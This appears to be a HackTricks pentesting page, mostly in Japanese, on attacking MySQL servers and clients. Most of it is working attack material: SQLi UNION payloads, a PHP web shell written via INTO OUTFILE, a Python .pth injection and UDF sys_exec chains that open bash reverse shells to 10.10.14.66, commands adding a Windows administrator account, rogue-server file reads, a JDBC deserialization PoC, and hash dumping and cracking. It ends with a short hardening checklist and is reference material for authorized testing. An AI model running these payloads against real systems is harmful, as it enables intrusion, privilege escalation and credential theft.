3306 - Pentesting Mysql

Reading time: 23 minutes

基本情報

MySQL は無償で利用できるオープンソースの Relational Database Management System (RDBMS) です。Structured Query Language (SQL) を用いて動作し、データベースの管理と操作を可能にします。

デフォルトポート: 3306

3306/tcp open  mysql

接続

ローカル

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

リモート

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

一部のenumerationアクションは有効な資格情報を必要とします。

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

任意のバイナリデータを書き込む

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL コマンド

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL の権限列挙

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

各権限の意味はドキュメントで確認できます: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE → Python .pth RCE (サイト固有の設定フック)

古典的な INTO OUTFILE プリミティブを悪用すると、後で Python スクリプトが実行されるターゲット上で 任意のコード実行 を得ることが可能です。

1. INTO OUTFILE を使って、site.py によって自動的に読み込まれる任意のディレクトリ内（例: .../lib/python3.10/site-packages/）にカスタムの .pth ファイルを配置します。
2. .pth ファイルは import で始まる 1行 を含むことができ、その後に任意の Python コードを続けることで、インタプリタの起動時に毎回実行されます。
3. インタプリタが CGI スクリプトによって暗黙的に実行されると（例えば shebang が #!/bin/python の /cgi-bin/ml-draw.py）、ペイロードは web-server プロセスと同じ権限で実行されます（FortiWeb はそれを root として実行した → full pre-auth RCE）。

例の .pth ペイロード（1行、最終的な SQL ペイロードにスペースを含められないため、hex/UNHEX() や文字列連結が必要になる場合があります）：

import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

UNION クエリを使ってファイルを作成する例（空白文字を /**/ に置換して sscanf("%128s") の空白フィルタを回避し、合計長が ≤128バイトに収まるように）:

'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

重要な制限とバイパス:

• INTO OUTFILE 既存のファイルを上書きできない; 新しいファイル名を選択してください。
• ファイルパスは MySQL の CWD に対する相対パス として解決されるため、先頭に ../../ を付けるとパスを短縮して絶対パス制限を回避できます。
• 攻撃者の入力が %128s（または類似）で抽出される場合、空白でペイロードが切り詰められるので、スペースの代わりに MySQL コメントシーケンス /**/ や /*!*/ を使用してください。
• クエリを実行する MySQL ユーザは FILE 権限が必要ですが、多くのアプライアンス（例: FortiWeb）ではサービスが root として動作するため、ほぼどこにでも書き込みが可能です。

.pth を配置した後は、python インタプリタによって処理される任意の CGI をリクエストするだけでコード実行が得られます:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Pythonプロセスは悪意のある .pth を自動的にimportし、shell payloadを実行します。

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL arbitrary read file by client

実際には、load data local into a table を試みてファイルの content of a file を読み込もうとすると、the MySQL or MariaDB server は client to read it と要求し、その内容を送信させます。そのため、mysql client を改ざんして自分の MySQL server に接続させることができれば、任意のファイルを読み取ることができます。
これは以下を使用した場合の挙動である点に注意してください：

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(「local」という単語に注意)\ 「local」がないと次のようになります:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

最初の PoC: https://github.com/allyshka/Rogue-MySql-Server
この論文では attack の完全な説明と、それを RCE に拡張する方法まで確認できます: https://paper.seebug.org/1113/
ここでは attack の概要が確認できます: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mysql User

mysql が root として実行されている場合は非常に興味深いです:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf の危険な設定

MySQL サービスの設定では、動作やセキュリティ対策を定義するためにさまざまな設定が使用されます:

• The user 設定は、MySQL サービスを実行するユーザーを指定するために使用されます。
• password は、MySQL ユーザーに関連付けられたパスワードを設定するために使用されます。
• admin_address は、管理用ネットワークインターフェースで TCP/IP 接続を受け付ける IP アドレスを指定します。
• The debug 変数は現在のデバッグ設定を示し、logs 内に機密情報が含まれることがあります。
• sql_warnings は、警告が発生した際に単一行の INSERT 文用の情報文字列が生成されるかどうかを管理し、これらが logs に機密データを含む可能性があります。
• secure_file_priv により、データのインポート/エクスポート操作の範囲が制限され、セキュリティが向上します。

Privilege escalation

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

If the mysql server is running as root（またはより権限の高い別のユーザで動作している場合）、コマンドを実行させることができます。そのためにはuser defined functionsを使用する必要があります。そしてuser defined functionsを作成するには、mysqlを実行しているOS用のlibraryが必要です。

悪意のあるlibraryはsqlmapやmetasploit内で、locate "*lib_mysqludf_sys*"を実行すると見つかります。.soファイルはlinuxのlibraryで、.dllはWindows用のものです。必要な方を選んでください。

もしそれらのlibrariesをdon't have場合は、look for themするか、このlinux C codeをダウンロードして、compile it inside the linux vulnerable machineしてください：

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

ライブラリを入手したら、特権ユーザー（root?）として Mysql にログインし、次の手順に従ってください:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Windows のヒント: SQLからNTFS ADSでディレクトリを作成する

NTFS上では、ファイル書き込みプリミティブしかない場合でも、alternate data stream を利用してディレクトリ作成を強制できます。古典的な UDF chain が plugin ディレクトリを期待していて、それが存在せず @@plugin_dir が不明または制限されている場合、まず ::$INDEX_ALLOCATION で作成できます：

SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory

これは限定的な SELECT ... INTO OUTFILE を、Windows スタック上で UDF drops に必要なフォルダ構造をブートストラップすることで、より完全なプリミティブに変えます。

ファイルからMySQLの資格情報を抽出する

Inside /etc/mysql/debian.cnf you can find the 平文パスワード of the user debian-sys-maint

cat /etc/mysql/debian.cnf

これらの資格情報を使用して mysql database にログインできます。

ファイル内: /var/lib/mysql/mysql/user.MYD に MySQL ユーザーのすべてのハッシュ（データベース内の mysql.user から抽出できるもの).

次のように抽出できます:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

ロギングの有効化

次の行のコメントアウトを外すことで、/etc/mysql/my.cnf 内で mysql クエリのロギングを有効にできます：

便利なファイル

設定ファイル

• windows *
• config.ini
• my.ini
• windows\my.ini
• winnt\my.ini
• <InstDir>/mysql/data/
• unix
• my.cnf
• /etc/my.cnf
• /etc/mysql/my.cnf
• /var/lib/mysql/my.cnf
• ~/.my.cnf
• /etc/my.cnf
• コマンド履歴
• ~/.mysql.history
• ログファイル
• connections.log
• update.log
• common.log

デフォルトの MySQL データベース/テーブル

HackTricks 自動コマンド

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 ハイライト（新）

JDBC propertiesTransform deserialization (CVE-2023-21971)

Connector/J <= 8.0.32 では、攻撃者が JDBC URL に影響を与えられる場合（例えば接続文字列を要求するサードパーティ製ソフトウェア内で）、propertiesTransform パラメータを介して クライアント 側で任意のクラスを読み込むよう要求できます。クラスパス上にロード可能な gadget が存在する場合、これは remote code execution in the context of the JDBC client を引き起こします（pre-auth、認証情報は不要）。最小の PoC は次のようになります：

jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Evil.class を実行するのは、脆弱なアプリケーションのクラスパスに配置するだけ、あるいは rogue MySQL サーバが悪意あるシリアライズ済みオブジェクトを送信するのを許すだけで済むことがある。 この問題は Connector/J 8.0.33 で修正済み — ドライバをアップグレードするか、propertiesTransform を明示的に allow-list に設定する。 (詳細は Snyk write-up を参照)

JDBCクライアントに対する Rogue / Fake MySQL server 攻撃

いくつかのオープンソースツールは、外向きに接続する JDBC クライアントを攻撃するために、MySQL プロトコルの 部分的な 実装を提供している:

• mysql-fake-server (Java、ファイル読み取りと deserialization exploits をサポート)
• rogue_mysql_server (Python、同様の機能)

典型的な攻撃経路:

1. 被害アプリケーションが mysql-connector-j を allowLoadLocalInfile=true または autoDeserialize=true で読み込んでいる。
2. 攻撃者が DNS / host エントリを制御し、DB のホスト名が攻撃者の管理下のマシンに解決されるようにする。
3. 悪意あるサーバが細工したパケットで応答し、LOCAL INFILE による任意のファイル読み取りか Java deserialization を誘発 → RCE。

偽サーバを起動するためのワンライナーの例 (Java):

java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

次に被害者アプリケーションを jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true に向け、username フィールドにファイル名を base64 でエンコードして /etc/passwd を読みます（fileread_/etc/passwd → base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=）。

caching_sha2_password ハッシュのクラック

MySQL ≥ 8.0 はパスワードハッシュを $mysql-sha2$（SHA-256）として保存します。Hashcat（mode 21100）と John-the-Ripper（--format=mysql-sha2）はどちらも 2023 年以降オフラインでのクラックをサポートしています。authentication_string カラムをダンプしてそのまま渡します：

# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

ハードニングチェックリスト (2025)

• ほとんどのファイル読み書きプリミティブを無効化するため、LOCAL_INFILE=0 および --secure-file-priv=/var/empty を設定する。
• アプリケーションアカウントから FILE 権限を削除する。
• Connector/Jでは allowLoadLocalInfile=false、allowUrlInLocalInfile=false、autoDeserialize=false、propertiesTransform=（空）を設定する。
• 未使用の認証プラグインを無効化し、require TLS（require_secure_transport = ON）を有効にする。
• CREATE FUNCTION、INSTALL COMPONENT、INTO OUTFILE、LOAD DATA LOCAL、および突然の SET GLOBAL ステートメントを監視する。

参考資料

• Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)

• Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)

• mysql-fake-server – Rogue MySQL server for JDBC client attacks

• The Art of PHP: CTF‑born exploits and techniques

• Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)